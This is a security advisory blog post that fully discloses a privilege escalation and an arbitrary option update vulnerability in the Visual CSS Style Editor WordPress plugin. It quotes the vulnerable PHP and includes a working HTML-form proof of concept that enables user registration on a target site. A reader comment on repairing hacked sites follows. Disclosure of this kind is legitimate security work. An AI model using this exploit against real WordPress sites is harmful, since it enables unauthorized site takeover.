9 Apr 2019

Recently Closed Visual CSS Style Editor WordPress Plugin Contains Privilege Escalation Vulnerability That Leads to Option Update Vulnerability

When it comes to the security of WordPress plugins what other security companies generally do is to add protection against vulnerabilities after they have already been widely exploited, which obviously won’t produce great results since there is a good chance the websites using their service have already been hacked by the time they do that. One of the ways we keep ahead of that is to monitor the closure of the 1,000 most popular WordPress plugins in the Plugin Directory, since that closure can be due to a security issue and even if it is not, we have found the plugins being closed often contain security vulnerabilities, and as was the case with one less than two weeks ago, ones likely to be exploited. Hackers seem to be doing that type of monitoring as well. Through that we found that the plugin Visual CSS Style Editor, which has 30,000+ active installs and was closed yesterday, has two vulnerabilities that when combined lead to a type of vulnerability hackers would be likely to exploit.

When we started to do a quick check of the security of the plugin after we were notified by our monitoring that it was closed, we found that were multiple basic security failures. For example, our Plugin Security Checker, which is an automated tool anyone can use to check plugins for possible security issues, correctly identified the possibility of a reflected cross-site scripting (XSS) vulnerability. But that isn’t a serious issue, so we went to look if there was something more serious that we should be warning our customers about instead. We found something that fit the bill, but there could be other issues as well.

One of the more serious issues we ran across involves privilege escalation through a function we can’t recall, at least recently, being involved in any vulnerabilities, but it turns out to be very dangerous when combined with another vulnerability in the plugin. The plugin sets the function yp_remote_get_first() to run whenever WordPress loads:

2225
add_action('init', 'yp_remote_get_first');

In that function if the GET input “yp_remote_get” exists then the current user is set to the user ID 1:

2016
2017
2018
2019
2020
2021
function yp_remote_get_first(){
    if(isset($_GET["yp_remote_get"])){
        wp_set_current_user(1);
        show_admin_bar(false);
    }
}

The implications of that are not all that clear from the documentation and that doesn’t log you in to WordPress, so it isn’t visually obvious what is going on, but what that can lead to can be seen with the next vulnerability. (Checking through WPDirectory we found a few other plugin also contain the line “wp_set_current_user(1)“.)

The plugin registers the function yp_option_update() to run during admin_init, which means it can run even when not logged in to WordPress:

377
add_action("admin_init","yp_option_update");

That function looks reasonably secure as it restricts access to its code to users with the “edit_theme_options” capability, which normally only Administrators have:

316
317
318
319
function yp_option_update(){
 
	// Can?
	if(current_user_can("edit_theme_options") == true){

But when you exploit the aforementioned privilege escalation vulnerability it will cause the request to be seen as coming from someone with that capability as long as the user with the ID 1 has that capability, which normally they would. Without that there is still a lack of protection against cross-site request forgery (CSRF), so there would have still been a vulnerability on its own.

The next code that runs takes user input in the form of the POST input “yp_json_import_data” and passes it to the function yp_import_data():

322
323
324
325
326
327
328
		if(isset($_POST['yp_json_import_data'])){
 
			$data = trim( strip_tags ( $_POST['yp_json_import_data'] ) );
 
			if(empty($data) == false){
 
				yp_import_data($data);

That function using that user input to specify arbitrary WordPress options (settings) to update:

3569
3570
3571
3572
3573
3574
3575
3576
3577
3578
3579
3580
3581
3582
3583
3584
3585
3586
3587
3588
3589
3590
3591
3592
3593
3594
3595
3596
3597
function yp_import_data($json) {
 
    $json = yp_stripslashes($json);
 
    if (empty($json)) {
        return false;
    }
 
    $array = json_decode($json, true);
 
    foreach ($array as $nodes) {
 
        foreach ($nodes as $key => $value) {
 
            $value = yp_decode($value);
 
            // If post meta
            if (strstr($key, '._')) {
 
                $keyArray = explode(".", $key);
                $postID   = $keyArray[0];
                $metaKey  = $keyArray[1];
 
                if (!add_post_meta($postID, $metaKey, $value, true)) {
                    update_post_meta($postID, $metaKey, $value);
                }
 
            } else { // else option
                if (!update_option($key, $value)) {

All that combined leads to an option update vulnerability, a type of vulnerability which has been a popular target for hackers recently, so we wouldn’t recommend having the plugin activated until that is fixed and the better recommendation is to not use this plugin until it has been more fully reviewed for security issues and all of those found, fixed. We do just that sort of review.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will turn on user registration.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?yp_remote_get=test" method="POST">
<input type="hidden" name="yp_json_import_data" value='[{"users_can_register":"MQ=="}]' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Need Continued Support for a Closed Plugin?

Does your website depend on a WordPress plugin that is no longer being supported by the original developer? With our Abandoned WordPress Plugin Maintenance Service, we can maintain the plugin for you, so you can safely use the plugin going forward.

Plugin Security Scorecard Grade for Visual CSS Style Editor

Checked on September 5, 2024
B

See issues causing the plugin to get less than A+ grade

2 thoughts on “Recently Closed Visual CSS Style Editor WordPress Plugin Contains Privilege Escalation Vulnerability That Leads to Option Update Vulnerability

  1. For the people who have been hacked due to a vulnerability in this plugin you can fix it by doing the following:

    1. Log into your WordPress database with phpMyAdmin through your hosting control panel.

    2. Navigate to the table wordpress_options table

    3. Edit the first two rows “siteurl” and “home” back to your domain e.g. https://website.com

    4. Click on your database name in the left panel of phpMyAdmin and then click the Search button along the top bar and search all of your tables for the name of the malicious domain that your website was redirecting to with ‘ ’ either side e.g. %baddomain to find any remaining records.

Leave a Reply

Your email address will not be published.